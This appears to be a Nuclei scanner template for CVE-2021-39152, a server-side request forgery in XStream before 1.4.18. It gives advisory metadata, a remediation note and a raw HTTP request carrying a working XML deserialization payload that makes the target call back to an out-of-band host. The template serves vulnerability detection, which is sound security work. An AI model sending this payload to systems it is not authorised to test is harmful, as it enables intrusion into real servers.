76 lines
2.9 KiB
YAML
76 lines
2.9 KiB
YAML
id: CVE-2021-39152
|
|
|
|
info:
|
|
name: XStream <1.4.18 - Server-Side Request Forgery
|
|
author: pwnhxl
|
|
severity: high
|
|
description: |
|
|
XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: |
|
|
Upgrade XStream to version 1.4.18 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://x-stream.github.io/CVE-2021-39152.html
|
|
- https://github.com/x-stream/xstream/security/advisories/GHSA-xw4p-crpj-vjx2
|
|
- https://security.netapp.com/advisory/ntap-20210923-0003/
|
|
- https://nvd.nist.gov/vuln/detail/cve-2021-39152
|
|
- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 8.5
|
|
cve-id: CVE-2021-39152
|
|
cwe-id: CWE-502
|
|
epss-score: 0.01242
|
|
epss-percentile: 0.83916
|
|
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: xstream_project
|
|
product: xstream
|
|
tags: cve,cve2021,xstream,ssrf,oast
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/xml
|
|
|
|
<map>
|
|
<entry>
|
|
<jdk.nashorn.internal.runtime.Source_-URLData>
|
|
<url>http://{{interactsh-url}}/internal/</url>
|
|
<cs>GBK</cs>
|
|
<hash>1111</hash>
|
|
<array>b</array>
|
|
<length>0</length>
|
|
<lastModified>0</lastModified>
|
|
</jdk.nashorn.internal.runtime.Source_-URLData>
|
|
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
|
|
</entry>
|
|
<entry>
|
|
<jdk.nashorn.internal.runtime.Source_-URLData>
|
|
<url>http://{{interactsh-url}}/internal/</url>
|
|
<cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
|
|
<hash>1111</hash>
|
|
<array>b</array>
|
|
<length>0</length>
|
|
<lastModified>0</lastModified>
|
|
</jdk.nashorn.internal.runtime.Source_-URLData>
|
|
<jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
|
|
</entry>
|
|
</map>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: Java"
|
|
|
|
# digest: 4a0a0047304502201c72a535c400a724bd34236cbb5e7e8dac9c6ce54f0c49271e49570f1fd2eb1f0221009cd1899ec698d075c96bf07f96ae5eb575b94a97665ef4104b97e4df21eeda6f:922c64590222798bb761d5b6d8e72950
|